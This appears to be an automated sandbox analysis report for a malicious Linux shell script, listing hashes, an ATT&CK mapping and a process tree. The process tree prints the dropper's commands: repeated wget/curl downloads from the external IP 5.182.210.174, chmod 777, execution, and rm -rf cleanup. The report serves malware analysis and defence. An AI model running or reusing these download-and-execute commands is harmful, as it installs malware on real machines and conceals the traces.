25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9

Analysis

max time kernel
3s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/08/2026, 07:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
Size 1KB
Sample260828-hsvb6stxcv
SHA256 25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9
MD5 bb86c5614957830eb8589e28f90d7bd0
SHA1 addf202eeb1e7a4305cb6dbae7c477570758fd1f
SHA512 6a461b6edbe5c94fde007ea6fa37e7cc74c08dce082ef6027d99a785026b2e0425375fb3119d3b628112e9d933461127f2dde300bdf46e56f52c3b4488756e6c
TLSH
T1E03198AF08251A311013CEDD77A23448729EA5E72C9FD7D4D85D1EAEC28978CF262F49
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1549	chmod
1556	chmod
1563	chmod
1514	chmod
1542	chmod
1570	chmod
1577	chmod
1500	chmod
1507	chmod
1521	chmod
1528	chmod
1535	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/4d92bf	1501	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/820100	1508	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/b5b154	1515	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/edcc1f	1522	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/3d5792	1529	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/c639a2	1536	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/2fd830	1543	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/362bf1	1550	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/c84371	1557	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/a4c6cc	1564	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/47c50c	1571	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/8ba2d2	1578	25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/47c50c	curl
File opened for modification	/tmp/c639a2	curl
File opened for modification	/tmp/2fd830	curl
File opened for modification	/tmp/c84371	curl
File opened for modification	/tmp/a4c6cc	curl
File opened for modification	/tmp/8ba2d2	curl
File opened for modification	/tmp/4d92bf	curl
File opened for modification	/tmp/820100	curl
File opened for modification	/tmp/b5b154	curl
File opened for modification	/tmp/edcc1f	curl
File opened for modification	/tmp/3d5792	curl
File opened for modification	/tmp/362bf1	curl

/tmp/25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
/tmp/25fee2381d8f3e7724ba63a148642ff3201b58bd0b4325d5c38fa46cb88720e9.sh
1⤵
- Executes dropped EXE
PID:1490
- /usr/bin/wget
  wget http://5.182.210.174/4d92bf
  2⤵
  PID:1491
- /usr/bin/curl
  curl -O http://5.182.210.174/4d92bf
  2⤵
  - Writes file to tmp directory
  PID:1496
- /bin/chmod
  chmod 777 4d92bf
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/4d92bf
  ./4d92bf bc
  2⤵
  PID:1501
- /bin/rm
  rm -rf 4d92bf
  2⤵
  PID:1503
- /bin/rm
  rm -rf 4d92bf.1
  2⤵
  PID:1504
- /usr/bin/wget
  wget http://5.182.210.174/820100
  2⤵
  PID:1505
- /usr/bin/curl
  curl -O http://5.182.210.174/820100
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/chmod
  chmod 777 820100
  2⤵
  - File and Directory Permissions Modification
  PID:1507
- /tmp/820100
  ./820100 bc
  2⤵
  PID:1508
- /bin/rm
  rm -rf 820100
  2⤵
  PID:1510
- /bin/rm
  rm -rf 820100.1
  2⤵
  PID:1511
- /usr/bin/wget
  wget http://5.182.210.174/b5b154
  2⤵
  PID:1512
- /usr/bin/curl
  curl -O http://5.182.210.174/b5b154
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 b5b154
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/b5b154
  ./b5b154 bc
  2⤵
  PID:1515
- /bin/rm
  rm -rf b5b154
  2⤵
  PID:1517
- /bin/rm
  rm -rf b5b154.1
  2⤵
  PID:1518
- /usr/bin/wget
  wget http://5.182.210.174/edcc1f
  2⤵
  PID:1519
- /usr/bin/curl
  curl -O http://5.182.210.174/edcc1f
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod 777 edcc1f
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/edcc1f
  ./edcc1f bc
  2⤵
  PID:1522
- /bin/rm
  rm -rf edcc1f
  2⤵
  PID:1524
- /bin/rm
  rm -rf edcc1f.1
  2⤵
  PID:1525
- /usr/bin/wget
  wget http://5.182.210.174/3d5792
  2⤵
  PID:1526
- /usr/bin/curl
  curl -O http://5.182.210.174/3d5792
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod 777 3d5792
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/3d5792
  ./3d5792 bc
  2⤵
  PID:1529
- /bin/rm
  rm -rf 3d5792
  2⤵
  PID:1531
- /bin/rm
  rm -rf 3d5792.1
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://5.182.210.174/c639a2
  2⤵
  PID:1533
- /usr/bin/curl
  curl -O http://5.182.210.174/c639a2
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod 777 c639a2
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/c639a2
  ./c639a2 bc
  2⤵
  PID:1536
- /bin/rm
  rm -rf c639a2
  2⤵
  PID:1538
- /bin/rm
  rm -rf c639a2.1
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://5.182.210.174/2fd830
  2⤵
  PID:1540
- /usr/bin/curl
  curl -O http://5.182.210.174/2fd830
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/chmod
  chmod 777 2fd830
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/2fd830
  ./2fd830 bc
  2⤵
  PID:1543
- /bin/rm
  rm -rf 2fd830
  2⤵
  PID:1545
- /bin/rm
  rm -rf 2fd830.1
  2⤵
  PID:1546
- /usr/bin/wget
  wget http://5.182.210.174/362bf1
  2⤵
  PID:1547
- /usr/bin/curl
  curl -O http://5.182.210.174/362bf1
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/chmod
  chmod 777 362bf1
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/362bf1
  ./362bf1 bc
  2⤵
  PID:1550
- /bin/rm
  rm -rf 362bf1
  2⤵
  PID:1552
- /bin/rm
  rm -rf 362bf1.1
  2⤵
  PID:1553
- /usr/bin/wget
  wget http://5.182.210.174/c84371
  2⤵
  PID:1554
- /usr/bin/curl
  curl -O http://5.182.210.174/c84371
  2⤵
  - Writes file to tmp directory
  PID:1555
- /bin/chmod
  chmod 777 c84371
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/c84371
  ./c84371 bc
  2⤵
  PID:1557
- /bin/rm
  rm -rf c84371
  2⤵
  PID:1559
- /bin/rm
  rm -rf c84371.1
  2⤵
  PID:1560
- /usr/bin/wget
  wget http://5.182.210.174/a4c6cc
  2⤵
  PID:1561
- /usr/bin/curl
  curl -O http://5.182.210.174/a4c6cc
  2⤵
  - Writes file to tmp directory
  PID:1562
- /bin/chmod
  chmod 777 a4c6cc
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/a4c6cc
  ./a4c6cc bc
  2⤵
  PID:1564
- /bin/rm
  rm -rf a4c6cc
  2⤵
  PID:1566
- /bin/rm
  rm -rf a4c6cc.1
  2⤵
  PID:1567
- /usr/bin/wget
  wget http://5.182.210.174/47c50c
  2⤵
  PID:1568
- /usr/bin/curl
  curl -O http://5.182.210.174/47c50c
  2⤵
  - Writes file to tmp directory
  PID:1569
- /bin/chmod
  chmod 777 47c50c
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/47c50c
  ./47c50c bc
  2⤵
  PID:1571
- /bin/rm
  rm -rf 47c50c
  2⤵
  PID:1573
- /bin/rm
  rm -rf 47c50c.1
  2⤵
  PID:1574
- /usr/bin/wget
  wget http://5.182.210.174/8ba2d2
  2⤵
  PID:1575
- /usr/bin/curl
  curl -O http://5.182.210.174/8ba2d2
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/chmod
  chmod 777 8ba2d2
  2⤵
  - File and Directory Permissions Modification
  PID:1577
- /tmp/8ba2d2
  ./8ba2d2 bc
  2⤵
  PID:1578
- /bin/rm
  rm -rf 8ba2d2
  2⤵
  PID:1580
- /bin/rm
  rm -rf 8ba2d2.1
  2⤵
  PID:1581

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4d92bf

Path /tmp/4d92bf
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download